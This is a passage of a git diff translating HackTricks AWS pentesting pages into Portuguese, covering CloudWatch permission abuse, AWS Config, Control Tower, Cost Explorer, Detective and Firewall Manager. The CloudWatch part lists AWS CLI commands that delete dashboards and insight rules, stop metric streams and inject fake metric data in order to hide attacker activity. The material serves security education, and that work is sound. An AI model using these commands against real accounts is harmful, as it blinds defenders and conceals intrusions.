unusual patterns or security threats. +**Impacto Potencial**: Efeito direto na detecção de padrões incomuns ou ameaças à segurança. ### **`cloudwatch:DeleteDashboards`, `cloudwatch:PutDashboard`** -An attacker would be able to compromise the monitoring and visualization capabilities of an organization by creating, modifying or deleting its dashboards. This permissions could be leveraged to remove critical visibility into the performance and health of systems, alter dashboards to display incorrect data or hide malicious activities. - +Um atacante poderia comprometer as capacidades de monitoramento e visualização de uma organização ao criar, modificar ou excluir seus painéis. Essas permissões poderiam ser utilizadas para remover a visibilidade crítica sobre o desempenho e a saúde dos sistemas, alterar painéis para exibir dados incorretos ou ocultar atividades maliciosas. ```bash aws cloudwatch delete-dashboards --dashboard-names aws cloudwatch put-dashboard --dashboard-name --dashboard-body ``` +**Impacto Potencial**: Perda de visibilidade de monitoramento e informações enganosas. -**Potential Impact**: Loss of monitoring visibility and misleading information. - -### **`cloudwatch:DeleteInsightRules`, `cloudwatch:PutInsightRule` ,`cloudwatch:PutManagedInsightRule`** - -Insight rules are used to detect anomalies, optimize performance, and manage resources effectively. By deleting existing insight rules, an attacker could remove critical monitoring capabilities, leaving the system blind to performance issues and security threats. Additionally, an attacker could create or modify insight rules to generate misleading data or hide malicious activities, leading to incorrect diagnostics and inappropriate responses from the operations team. +### **`cloudwatch:DeleteInsightRules`, `cloudwatch:PutInsightRule`, `cloudwatch:PutManagedInsightRule`** +As regras de insight são usadas para detectar anomalias, otimizar o desempenho e gerenciar recursos de forma eficaz. Ao excluir regras de insight existentes, um atacante poderia remover capacidades críticas de monitoramento, deixando o sistema cego para problemas de desempenho e ameaças à segurança. Além disso, um atacante poderia criar ou modificar regras de insight para gerar dados enganosos ou ocultar atividades maliciosas, levando a diagnósticos incorretos e respostas inadequadas da equipe de operações. ```bash aws cloudwatch delete-insight-rules --rule-names aws cloudwatch put-insight-rule --rule-name --rule-definition [--rule-state ] aws cloudwatch put-managed-insight-rules --managed-rules ``` - -**Potential Impact**: Difficulty to detect and respond to performance issues and anomalies, misinformed decision-making and potentially hiding malicious activities or system failures. +**Impacto Potencial**: Dificuldade em detectar e responder a problemas de desempenho e anomalias, tomada de decisões mal informadas e potencialmente ocultando atividades maliciosas ou falhas no sistema. ### **`cloudwatch:DisableInsightRules`, `cloudwatch:EnableInsightRules`** -By disabling critical insight rules, an attacker could effectively blind the organization to key performance and security metrics. Conversely, by enabling or configuring misleading rules, it could be possible to generate false data, create noise, or hide malicious activity. - +Ao desabilitar regras de insight críticas, um atacante poderia efetivamente cegar a organização em relação a métricas chave de desempenho e segurança. Por outro lado, ao habilitar ou configurar regras enganosas, poderia ser possível gerar dados falsos, criar ruído ou ocultar atividades maliciosas. ```bash aws cloudwatch disable-insight-rules --rule-names aws cloudwatch enable-insight-rules --rule-names ``` - -**Potential Impact**: Confusion among the operations team, leading to delayed responses to actual issues and unnecessary actions based on false alerts. +**Impacto Potencial**: Confusão entre a equipe de operações, levando a respostas atrasadas a problemas reais e ações desnecessárias com base em alertas falsos. ### **`cloudwatch:DeleteMetricStream` , `cloudwatch:PutMetricStream` , `cloudwatch:PutMetricData`** -An attacker with the **`cloudwatch:DeleteMetricStream`** , **`cloudwatch:PutMetricStream`** permissions would be able to create and delete metric data streams, compromising the security, monitoring and data integrity: +Um atacante com as permissões **`cloudwatch:DeleteMetricStream`** , **`cloudwatch:PutMetricStream`** seria capaz de criar e excluir fluxos de dados de métricas, comprometendo a segurança, monitoramento e integridade dos dados: -- **Create malicious streams**: Create metric streams to send sensitive data to unauthorized destinations. -- **Resource manipulation**: The creation of new metric streams with excessive data could produce a lot of noise, causing incorrect alerts, masking true issues. -- **Monitoring disruption**: Deleting metric streams, attackers would disrupt the continuos flow of monitoring data. This way, their malicious activities would be effectively hidden. - -Similarly, with the **`cloudwatch:PutMetricData`** permission, it would be possible to add data to a metric stream. This could lead to a DoS because of the amount of improper data added, making it completely useless. +- **Criar fluxos maliciosos**: Criar fluxos de métricas para enviar dados sensíveis a destinos não autorizados. +- **Manipulação de recursos**: A criação de novos fluxos de métricas com dados excessivos poderia produzir muito ruído, causando alertas incorretos, mascarando problemas reais. +- **Interrupção do monitoramento**: Ao excluir fluxos de métricas, os atacantes interromperiam o fluxo contínuo de dados de monitoramento. Dessa forma, suas atividades maliciosas estariam efetivamente ocultas. +Da mesma forma, com a permissão **`cloudwatch:PutMetricData`**, seria possível adicionar dados a um fluxo de métricas. Isso poderia levar a um DoS devido à quantidade de dados impróprios adicionados, tornando-o completamente inútil. ```bash aws cloudwatch delete-metric-stream --name aws cloudwatch put-metric-stream --name [--include-filters ] [--exclude-filters ] --firehose-arn --role-arn --output-format aws cloudwatch put-metric-data --namespace [--metric-data ] [--metric-name ] [--timestamp ] [--unit ] [--value ] [--dimensions ] ``` - -Example of adding data corresponding to a 70% of a CPU utilization over a given EC2 instance: - +Exemplo de adição de dados correspondentes a 70% de utilização da CPU em uma determinada instância EC2: ```bash aws cloudwatch put-metric-data --namespace "AWS/EC2" --metric-name "CPUUtilization" --value 70 --unit "Percent" --dimensions "InstanceId=i-0123456789abcdefg" ``` - -**Potential Impact**: Disruption in the flow of monitoring data, impacting the detection of anomalies and incidents, resource manipulation and costs increasing due to the creation of excessive metric streams. +**Impacto Potencial**: Interrupção no fluxo de dados de monitoramento, impactando a detecção de anomalias e incidentes, manipulação de recursos e aumento de custos devido à criação de fluxos de métricas excessivos. ### **`cloudwatch:StopMetricStreams`, `cloudwatch:StartMetricStreams`** -An attacker would control the flow of the affected metric data streams (every data stream if there is no resource restriction). With the permission **`cloudwatch:StopMetricStreams`**, attackers could hide their malicious activities by stopping critical metric streams. - +Um atacante controlaria o fluxo dos dados de métricas afetados (cada fluxo de dados se não houver restrição de recursos). Com a permissão **`cloudwatch:StopMetricStreams`**, os atacantes poderiam ocultar suas atividades maliciosas ao parar fluxos de métricas críticos. ```bash aws cloudwatch stop-metric-streams --names aws cloudwatch start-metric-streams --names ``` - -**Potential Impact**: Disruption in the flow of monitoring data, impacting the detection of anomalies and incidents. +**Impacto Potencial**: Interrupção no fluxo de dados de monitoramento, impactando a detecção de anomalias e incidentes. ### **`cloudwatch:TagResource`, `cloudwatch:UntagResource`** -An attacker would be able to add, modify, or remove tags from CloudWatch resources (currently only alarms and Contributor Insights rules). This could disrupting your organization's access control policies based on tags. - +Um atacante poderia adicionar, modificar ou remover tags de recursos do CloudWatch (atualmente apenas alarmes e regras do Contributor Insights). Isso poderia interromper as políticas de controle de acesso da sua organização com base em tags. ```bash aws cloudwatch tag-resource --resource-arn --tags aws cloudwatch untag-resource --resource-arn --tag-keys ``` +**Impacto Potencial**: Interrupção das políticas de controle de acesso baseadas em tags. -**Potential Impact**: Disruption of tag-based access control policies. - -## References +## Referências - [https://cloudsecdocs.com/aws/services/logging/cloudwatch/](https://cloudsecdocs.com/aws/services/logging/cloudwatch/#general-info) - [https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazoncloudwatch.html](https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazoncloudwatch.html) - [https://docs.aws.amazon.com/es_es/AmazonCloudWatch/latest/monitoring/cloudwatch_concepts.html#Metric](https://docs.aws.amazon.com/es_es/AmazonCloudWatch/latest/monitoring/cloudwatch_concepts.html#Metric) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md index f2ab3c4c5..810db2858 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md @@ -4,47 +4,43 @@ ## AWS Config -AWS Config **capture resource changes**, so any change to a resource supported by Config can be recorded, which will **record what changed along with other useful metadata, all held within a file known as a configuration item**, a CI. This service is **region specific**. +AWS Config **captura mudanças de recursos**, então qualquer mudança em um recurso suportado pelo Config pode ser registrada, o que **registrará o que mudou junto com outros metadados úteis, todos mantidos dentro de um arquivo conhecido como item de configuração**, um CI. Este serviço é **específico da região**. -A configuration item or **CI** as it's known, is a key component of AWS Config. It is comprised of a JSON file that **holds the configuration information, relationship information and other metadata as a point-in-time snapshot view of a supported resource**. All the information that AWS Config can record for a resource is captured within the CI. A CI is created **every time** a supported resource has a change made to its configuration in any way. In addition to recording the details of the affected resource, AWS Config will also record CIs for any directly related resources to ensure the change did not affect those resources too. +Um item de configuração ou **CI**, como é conhecido, é um componente chave do AWS Config. Ele é composto por um arquivo JSON que **contém as informações de configuração, informações de relacionamento e outros metadados como uma visão instantânea de um recurso suportado**. Todas as informações que o AWS Config pode registrar para um recurso são capturadas dentro do CI. Um CI é criado **toda vez que** um recurso suportado tem uma mudança feita em sua configuração de qualquer forma. Além de registrar os detalhes do recurso afetado, o AWS Config também registrará CIs para quaisquer recursos diretamente relacionados para garantir que a mudança não afetou esses recursos também. -- **Metadata**: Contains details about the configuration item itself. A version ID and a configuration ID, which uniquely identifies the CI. Ither information can include a MD5Hash that allows you to compare other CIs already recorded against the same resource. -- **Attributes**: This holds common **attribute information against the actual resource**. Within this section, we also have a unique resource ID, and any key value tags that are associated to the resource. The resource type is also listed. For example, if this was a CI for an EC2 instance, the resource types listed could be the network interface, or the elastic IP address for that EC2 instance -- **Relationships**: This holds information for any connected **relationship that the resource may have**. So within this section, it would show a clear description of any relationship to other resources that this resource had. For example, if the CI was for an EC2 instance, the relationship section may show the connection to a VPC along with the subnet that the EC2 instance resides in. -- **Current configuration:** This will display the same information that would be generated if you were to perform a describe or list API call made by the AWS CLI. AWS Config uses the same API calls to get the same information. -- **Related events**: This relates to AWS CloudTrail. This will display the **AWS CloudTrail event ID that is related to the change that triggered the creation of this CI**. There is a new CI made for every change made against a resource. As a result, different CloudTrail event IDs will be created. +- **Metadados**: Contém detalhes sobre o item de configuração em si. Um ID de versão e um ID de configuração, que identificam exclusivamente o CI. Outras informações podem incluir um MD5Hash que permite comparar outros CIs já registrados contra o mesmo recurso. +- **Atributos**: Isso contém informações comuns de **atributo contra o recurso real**. Dentro desta seção, também temos um ID de recurso exclusivo e quaisquer tags de valor chave que estão associadas ao recurso. O tipo de recurso também é listado. Por exemplo, se este fosse um CI para uma instância EC2, os tipos de recursos listados poderiam ser a interface de rede ou o endereço IP elástico para essa instância EC2. +- **Relacionamentos**: Isso contém informações sobre qualquer **relação conectada que o recurso possa ter**. Portanto, dentro desta seção, mostraria uma descrição clara de qualquer relacionamento com outros recursos que este recurso tinha. Por exemplo, se o CI fosse para uma instância EC2, a seção de relacionamento poderia mostrar a conexão com uma VPC junto com a sub-rede em que a instância EC2 reside. +- **Configuração atual:** Isso exibirá as mesmas informações que seriam geradas se você realizasse uma chamada de API de descrição ou listagem feita pelo AWS CLI. O AWS Config usa as mesmas chamadas de API para obter as mesmas informações. +- **Eventos relacionados**: Isso se relaciona ao AWS CloudTrail. Isso exibirá o **ID do evento do AWS CloudTrail que está relacionado à mudança que acionou a criação deste CI**. Um novo CI é feito para cada mudança feita contra um recurso. Como resultado, diferentes IDs de eventos do CloudTrail serão criados. -**Configuration History**: It's possible to obtain the configuration history of resources thanks to the configurations items. A configuration history is delivered every 6 hours and contains all CI's for a particular resource type. +**Histórico de Configuração**: É possível obter o histórico de configuração de recursos graças aos itens de configuração. Um histórico de configuração é entregue a cada 6 horas e contém todos os CIs para um tipo de recurso específico. -**Configuration Streams**: Configuration items are sent to an SNS Topic to enable analysis of the data. +**Fluxos de Configuração**: Itens de configuração são enviados para um Tópico SNS para permitir a análise dos dados. -**Configuration Snapshots**: Configuration items are used to create a point in time snapshot of all supported resources. +**Instantâneas de Configuração**: Itens de configuração são usados para criar uma instantânea de todos os recursos suportados em um determinado momento. -**S3 is used to store** the Configuration History files and any Configuration snapshots of your data within a single bucket, which is defined within the Configuration recorder. If you have multiple AWS accounts you may want to aggregate your configuration history files into the same S3 bucket for your primary account. However, you'll need to grant write access for this service principle, config.amazonaws.com, and your secondary accounts with write access to the S3 bucket in your primary account. +**O S3 é usado para armazenar** os arquivos de Histórico de Configuração e quaisquer instantâneas de Configuração dos seus dados dentro de um único bucket, que é definido dentro do gravador de configuração. Se você tiver várias contas AWS, pode querer agregar seus arquivos de histórico de configuração no mesmo bucket S3 para sua conta principal. No entanto, você precisará conceder acesso de gravação para este princípio de serviço, config.amazonaws.com, e suas contas secundárias com acesso de gravação ao bucket S3 em sua conta principal. -### Functioning +### Funcionamento -- When make changes, for example to security group or bucket access control list —> fire off as an Event picked up by AWS Config -- Stores everything in S3 bucket -- Depending on the setup, as soon as something changes it could trigger a lambda function OR schedule lambda function to periodically look through the AWS Config settings -- Lambda feeds back to Config -- If rule has been broken, Config fires up an SNS +- Ao fazer mudanças, por exemplo, em grupos de segurança ou listas de controle de acesso de buckets —> dispara como um Evento capturado pelo AWS Config +- Armazena tudo em um bucket S3 +- Dependendo da configuração, assim que algo muda, isso pode acionar uma função lambda OU agendar uma função lambda para olhar periodicamente pelas configurações do AWS Config +- Lambda retorna para o Config +- Se uma regra foi quebrada, o Config dispara um SNS ![](<../../../../images/image (126).png>) -### Config Rules +### Regras de Config -Config rules are a great way to help you **enforce specific compliance checks** **and controls across your resources**, and allows you to adopt an ideal deployment specification for each of your resource types. Each rule **is essentially a lambda function** that when called upon evaluates the resource and carries out some simple logic to determine the compliance result with the rule. **Each time a change is made** to one of your supported resources, **AWS Config will check the compliance against any config rules that you have in place**.\ -AWS have a number of **predefined rules** that fall under the security umbrella that are ready to use. For example, Rds-storage-encrypted. This checks whether storage encryption is activated by your RDS database instances. Encrypted-volumes. This checks to see if any EBS volumes that have an attached state are encrypted. +As regras de Config são uma ótima maneira de ajudar você a **impor verificações de conformidade específicas** **e controles em seus recursos**, e permitem que você adote uma especificação de implantação ideal para cada um de seus tipos de recursos. Cada regra **é essencialmente uma função lambda** que, quando chamada, avalia o recurso e realiza alguma lógica simples para determinar o resultado de conformidade com a regra. **Cada vez que uma mudança é feita** em um de seus recursos suportados, **o AWS Config verificará a conformidade contra quaisquer regras de configuração que você tenha em vigor**.\ +A AWS tem um número de **regras predefinidas** que se enquadram na categoria de segurança e estão prontas para uso. Por exemplo, Rds-storage-encrypted. Isso verifica se a criptografia de armazenamento está ativada por suas instâncias de banco de dados RDS. Encrypted-volumes. Isso verifica se algum volume EBS que tem um estado anexado está criptografado. -- **AWS Managed rules**: Set of predefined rules that cover a lot of best practices, so it's always worth browsing these rules first before setting up your own as there is a chance that the rule may already exist. -- **Custom rules**: You can create your own rules to check specific customconfigurations. +- **Regras gerenciadas pela AWS**: Conjunto de regras predefinidas que cobrem muitas das melhores práticas, então sempre vale a pena navegar por essas regras primeiro antes de configurar as suas, pois há uma chance de que a regra já exista. +- **Regras personalizadas**: Você pode criar suas próprias regras para verificar configurações personalizadas específicas. -Limit of 50 config rules per region before you need to contact AWS for an increase.\ -Non compliant results are NOT deleted. +Limite de 50 regras de configuração por região antes de precisar entrar em contato com a AWS para um aumento.\ +Resultados não conformes NÃO são excluídos. {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md index 9fab39fb8..acb447ac8 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md @@ -5,42 +5,36 @@ ## Control Tower > [!NOTE] -> In summary, Control Tower is a service that allows to define policies for all your accounts inside your org. So instead of managing each of the you can set policies from Control Tower that will be applied on them. +> Em resumo, o Control Tower é um serviço que permite definir políticas para todas as suas contas dentro da sua organização. Assim, em vez de gerenciar cada uma delas, você pode definir políticas a partir do Control Tower que serão aplicadas a elas. -AWS Control Tower is a **service provided by Amazon Web Services (AWS)** that enables organizations to set up and govern a secure, compliant, multi-account environment in AWS. +AWS Control Tower é um **serviço fornecido pela Amazon Web Services (AWS)** que permite que organizações configurem e governem um ambiente multi-conta seguro e em conformidade na AWS. -AWS Control Tower provides a **pre-defined set of best-practice blueprints** that can be customized to meet specific **organizational requirements**. These blueprints include pre-configured AWS services and features, such as AWS Single Sign-On (SSO), AWS Config, AWS CloudTrail, and AWS Service Catalog. +AWS Control Tower fornece um **conjunto pré-definido de modelos de melhores práticas** que podem ser personalizados para atender a **requisitos organizacionais** específicos. Esses modelos incluem serviços e recursos da AWS pré-configurados, como AWS Single Sign-On (SSO), AWS Config, AWS CloudTrail e AWS Service Catalog. -With AWS Control Tower, administrators can quickly set up a **multi-account environment that meets organizational requirements**, such as **security** and compliance. The service provides a central dashboard to view and manage accounts and resources, and it also automates the provisioning of accounts, services, and policies. +Com o AWS Control Tower, os administradores podem rapidamente configurar um **ambiente multi-conta que atende aos requisitos organizacionais**, como **segurança** e conformidade. O serviço fornece um painel central para visualizar e gerenciar contas e recursos, e também automatiza o provisionamento de contas, serviços e políticas. -In addition, AWS Control Tower provides guardrails, which are a set of pre-configured policies that ensure the environment remains compliant with organizational requirements. These policies can be customized to meet specific needs. +Além disso, o AWS Control Tower fornece guardrails, que são um conjunto de políticas pré-configuradas que garantem que o ambiente permaneça em conformidade com os requisitos organizacionais. Essas políticas podem ser personalizadas para atender a necessidades específicas. -Overall, AWS Control Tower simplifies the process of setting up and managing a secure, compliant, multi-account environment in AWS, making it easier for organizations to focus on their core business objectives. +No geral, o AWS Control Tower simplifica o processo de configuração e gerenciamento de um ambiente multi-conta seguro e em conformidade na AWS, facilitando para as organizações se concentrarem em seus objetivos de negócios principais. ### Enumeration -For enumerating controltower controls, you first need to **have enumerated the org**: +Para enumerar os controles do controltower, você primeiro precisa **ter enumerado a org**: {{#ref}} ../aws-organizations-enum.md {{#endref}} - ```bash # Get controls applied in an account aws controltower list-enabled-controls --target-identifier arn:aws:organizations:::ou/ ``` - > [!WARNING] -> Control Tower can also use **Account factory** to execute **CloudFormation templates** in **accounts and run services** (privesc, post-exploitation...) in those accounts +> O Control Tower também pode usar **Account factory** para executar **CloudFormation templates** em **contas e executar serviços** (privesc, pós-exploração...) nessas contas -### Post Exploitation & Persistence +### Pós Exploração & Persistência {{#ref}} ../../aws-post-exploitation/aws-control-tower-post-exploitation.md {{#endref}} {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md index 2f967331b..304d03530 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md @@ -2,18 +2,14 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Cost Explorer and Anomaly detection +## Cost Explorer e Detecção de Anomalias -This allows you to check **how are you expending money in AWS services** and help you **detecting anomalies**.\ -Moreover, you can configure an anomaly detection so AWS will warn you when some a**nomaly in costs is found**. +Isso permite que você verifique **como está gastando dinheiro em serviços AWS** e ajuda na **detecção de anomalias**.\ +Além disso, você pode configurar uma detecção de anomalias para que a AWS o avise quando alguma **anomalia nos custos for encontrada**. -### Budgets +### Orçamentos -Budgets help to **manage costs and usage**. You can get **alerted when a threshold is reached**.\ -Also, they can be used for non cost related monitoring like the usage of a service (how many GB are used in a particular S3 bucket?). +Os orçamentos ajudam a **gerenciar custos e uso**. Você pode ser **alertado quando um limite for alcançado**.\ +Além disso, eles podem ser usados para monitoramento não relacionado a custos, como o uso de um serviço (quantos GB estão sendo usados em um bucket S3 específico?). {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md index 9d1a40eba..23910ed90 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md @@ -4,9 +4,9 @@ ## Detective -**Amazon Detective** streamlines the security investigation process, making it more efficient to **analyze, investigate, and pinpoint the root cause** of security issues or unusual activities. It automates the collection of log data from AWS resources and employs **machine learning, statistical analysis, and graph theory** to construct an interconnected data set. This setup greatly enhances the speed and effectiveness of security investigations. +**Amazon Detective** simplifica o processo de investigação de segurança, tornando-o mais eficiente para **analisar, investigar e identificar a causa raiz** de problemas de segurança ou atividades incomuns. Ele automatiza a coleta de dados de log de recursos da AWS e emprega **aprendizado de máquina, análise estatística e teoria dos grafos** para construir um conjunto de dados interconectados. Essa configuração melhora significativamente a velocidade e a eficácia das investigações de segurança. -The service eases in-depth exploration of security incidents, allowing security teams to swiftly understand and address the underlying causes of issues. Amazon Detective analyzes vast amounts of data from sources like VPC Flow Logs, AWS CloudTrail, and Amazon GuardDuty. It automatically generates a **comprehensive, interactive view of resources, users, and their interactions over time**. This integrated perspective provides all necessary details and context in one location, enabling teams to discern the reasons behind security findings, examine pertinent historical activities, and rapidly determine the root cause. +O serviço facilita a exploração aprofundada de incidentes de segurança, permitindo que as equipes de segurança compreendam e abordem rapidamente as causas subjacentes dos problemas. O Amazon Detective analisa grandes quantidades de dados de fontes como VPC Flow Logs, AWS CloudTrail e Amazon GuardDuty. Ele gera automaticamente uma **visão abrangente e interativa de recursos, usuários e suas interações ao longo do tempo**. Essa perspectiva integrada fornece todos os detalhes e contextos necessários em um só lugar, permitindo que as equipes discernam as razões por trás das descobertas de segurança, examinem atividades históricas pertinentes e determinem rapidamente a causa raiz. ## References @@ -14,7 +14,3 @@ The service eases in-depth exploration of security incidents, allowing security - [https://cloudsecdocs.com/aws/services/logging/other/#detective](https://cloudsecdocs.com/aws/services/logging/other/#detective) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md index 0369f075c..f19ff92ea 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md @@ -4,80 +4,79 @@ ## Firewall Manager -**AWS Firewall Manager** streamlines the management and maintenance of **AWS WAF, AWS Shield Advanced, Amazon VPC security groups and Network Access Control Lists (ACLs), and AWS Network Firewall, AWS Route 53 Resolver DNS Firewall and third-party firewalls** across multiple accounts and resources. It enables you to configure your firewall rules, Shield Advanced protections, VPC security groups, and Network Firewall settings just once, with the service **automatically enforcing these rules and protections across your accounts and resources**, including newly added ones. +**AWS Firewall Manager** simplifica a gestão e manutenção do **AWS WAF, AWS Shield Advanced, grupos de segurança do Amazon VPC e Listas de Controle de Acesso à Rede (ACLs), e AWS Network Firewall, AWS Route 53 Resolver DNS Firewall e firewalls de terceiros** em várias contas e recursos. Ele permite que você configure suas regras de firewall, proteções do Shield Advanced, grupos de segurança do VPC e configurações do Network Firewall apenas uma vez, com o serviço **aplicando automaticamente essas regras e proteções em suas contas e recursos**, incluindo os recém-adicionados. -The service offers the capability to **group and safeguard specific resources together**, like those sharing a common tag or all your CloudFront distributions. A significant advantage of Firewall Manager is its ability to **automatically extend protection to newly added resources** in your account. +O serviço oferece a capacidade de **agrupar e proteger recursos específicos juntos**, como aqueles que compartilham uma tag comum ou todas as suas distribuições do CloudFront. Uma vantagem significativa do Firewall Manager é sua capacidade de **estender automaticamente a proteção a recursos recém-adicionados** em sua conta. -A **rule group** (a collection of WAF rules) can be incorporated into an AWS Firewall Manager Policy, which is then linked to specific AWS resources such as CloudFront distributions or application load balancers. +Um **grupo de regras** (uma coleção de regras do WAF) pode ser incorporado em uma Política do AWS Firewall Manager, que é então vinculada a recursos específicos da AWS, como distribuições do CloudFront ou balanceadores de carga de aplicativos. -AWS Firewall Manager provides **managed application and protocol lists** to simplify the configuration and management of security group policies. These lists allow you to define the protocols and applications permitted or denied by your policies. There are two types of managed lists: +O AWS Firewall Manager fornece **listas de aplicativos e protocolos gerenciados** para simplificar a configuração e gestão das políticas de grupos de segurança. Essas listas permitem que você defina os protocolos e aplicativos permitidos ou negados por suas políticas. Existem dois tipos de listas gerenciadas: -- **Firewall Manager managed lists**: These lists include **FMS-Default-Public-Access-Apps-Allowed**, **FMS-Default-Protocols-Allowed** and **FMS-Default-Protocols-Allowed**. They are managed by Firewall Manager and include commonly used applications and protocols that should be allowed or denied to the general public. It is not possible to edit or delete them, however, you can choose its version. -- **Custom managed lists**: You manage these lists yourself. You can create custom application and protocol lists tailored to your organization's needs. Unlike Firewall Manager managed lists, these lists do not have versions, but you have full control over custom lists, allowing you to create, edit, and delete them as required. +- **Listas gerenciadas pelo Firewall Manager**: Essas listas incluem **FMS-Default-Public-Access-Apps-Allowed**, **FMS-Default-Protocols-Allowed** e **FMS-Default-Protocols-Allowed**. Elas são gerenciadas pelo Firewall Manager e incluem aplicativos e protocolos comumente usados que devem ser permitidos ou negados ao público em geral. Não é possível editá-las ou excluí-las, no entanto, você pode escolher sua versão. +- **Listas gerenciadas personalizadas**: Você gerencia essas listas por conta própria. Você pode criar listas de aplicativos e protocolos personalizadas adaptadas às necessidades da sua organização. Ao contrário das listas gerenciadas pelo Firewall Manager, essas listas não têm versões, mas você tem controle total sobre as listas personalizadas, permitindo que você as crie, edite e exclua conforme necessário. -It's important to note that **Firewall Manager policies permit only "Block" or "Count" actions** for a rule group, without an "Allow" option. +É importante notar que **as políticas do Firewall Manager permitem apenas ações "Block" ou "Count"** para um grupo de regras, sem uma opção "Allow". -### Prerequisites +### Pré-requisitos -The following prerequisite steps must be completed before proceeding to configure Firewall Manager to begin protecting your organization's resources effectively. These steps provide the foundational setup required for Firewall Manager to enforce security policies and ensure compliance across your AWS environment: +Os seguintes passos de pré-requisito devem ser concluídos antes de prosseguir para configurar o Firewall Manager para começar a proteger efetivamente os recursos da sua organização. Esses passos fornecem a configuração básica necessária para que o Firewall Manager aplique políticas de segurança e garanta conformidade em seu ambiente AWS: -1. **Join and configure AWS Organizations:** Ensure your AWS account is part of the AWS Organizations organization where the AWS Firewall Manager policies are planned to be implanted. This allows for centralized management of resources and policies across multiple AWS accounts within the organization. -2. **Create an AWS Firewall Manager Default Administrator Account:** Establish a default administrator account specifically for managing Firewall Manager security policies. This account will be responsible for configuring and enforcing security policies across the organization. Just the management account of the organization is able to create Firewall Manager default administrator accounts. -3. **Enable AWS Config:** Activate AWS Config to provide Firewall Manager with the necessary configuration data and insights required to effectively enforce security policies. AWS Config helps analyze, audit, monitor and audit resource configurations and changes, facilitating better security management. -4. **For Third-Party Policies, Subscribe in the AWS Marketplace and Configure Third-Party Settings:** If you plan to utilize third-party firewall policies, subscribe to them in the AWS Marketplace and configure the necessary settings. This step ensures that Firewall Manager can integrate and enforce policies from trusted third-party vendors. -5. **For Network Firewall and DNS Firewall Policies, enable resource sharing:** Enable resource sharing specifically for Network Firewall and DNS Firewall policies. This allows Firewall Manager to apply firewall protections to your organization's VPCs and DNS resolution, enhancing network security. -6. **To use AWS Firewall Manager in Regions that are disabled by default:** If you intend to use Firewall Manager in AWS regions that are disabled by default, ensure that you take the necessary steps to enable its functionality in those regions. This ensures consistent security enforcement across all regions where your organization operates. +1. **Junte-se e configure o AWS Organizations:** Certifique-se de que sua conta AWS faz parte da organização do AWS Organizations onde as políticas do AWS Firewall Manager estão planejadas para serem implantadas. Isso permite a gestão centralizada de recursos e políticas em várias contas AWS dentro da organização. +2. **Crie uma Conta de Administrador Padrão do AWS Firewall Manager:** Estabeleça uma conta de administrador padrão especificamente para gerenciar as políticas de segurança do Firewall Manager. Esta conta será responsável por configurar e aplicar políticas de segurança em toda a organização. Apenas a conta de gerenciamento da organização pode criar contas de administrador padrão do Firewall Manager. +3. **Ative o AWS Config:** Ative o AWS Config para fornecer ao Firewall Manager os dados de configuração e insights necessários para aplicar efetivamente as políticas de segurança. O AWS Config ajuda a analisar, auditar, monitorar e auditar configurações e mudanças de recursos, facilitando uma melhor gestão de segurança. +4. **Para Políticas de Terceiros, Inscreva-se no AWS Marketplace e Configure as Configurações de Terceiros:** Se você planeja utilizar políticas de firewall de terceiros, inscreva-se nelas no AWS Marketplace e configure as configurações necessárias. Este passo garante que o Firewall Manager possa integrar e aplicar políticas de fornecedores de terceiros confiáveis. +5. **Para Políticas de Network Firewall e DNS Firewall, ative o compartilhamento de recursos:** Ative o compartilhamento de recursos especificamente para políticas de Network Firewall e DNS Firewall. Isso permite que o Firewall Manager aplique proteções de firewall aos VPCs e à resolução DNS da sua organização, melhorando a segurança da rede. +6. **Para usar o AWS Firewall Manager em Regiões que estão desativadas por padrão:** Se você pretende usar o Firewall Manager em regiões da AWS que estão desativadas por padrão, certifique-se de tomar as medidas necessárias para habilitar sua funcionalidade nessas regiões. Isso garante a aplicação consistente de segurança em todas as regiões onde sua organização opera. -For more information, check: [Getting started with AWS Firewall Manager AWS WAF policies](https://docs.aws.amazon.com/waf/latest/developerguide/getting-started-fms.html). +Para mais informações, consulte: [Introdução ao AWS Firewall Manager AWS WAF policies](https://docs.aws.amazon.com/waf/latest/developerguide/getting-started-fms.html). -### Types of protection policies +### Tipos de políticas de proteção -AWS Firewall Manager manages several types of policies to enforce security controls across different aspects of your organization's infrastructure: +O AWS Firewall Manager gerencia vários tipos de políticas para aplicar controles de segurança em diferentes aspectos da infraestrutura da sua organização: -1. **AWS WAF Policy:** This policy 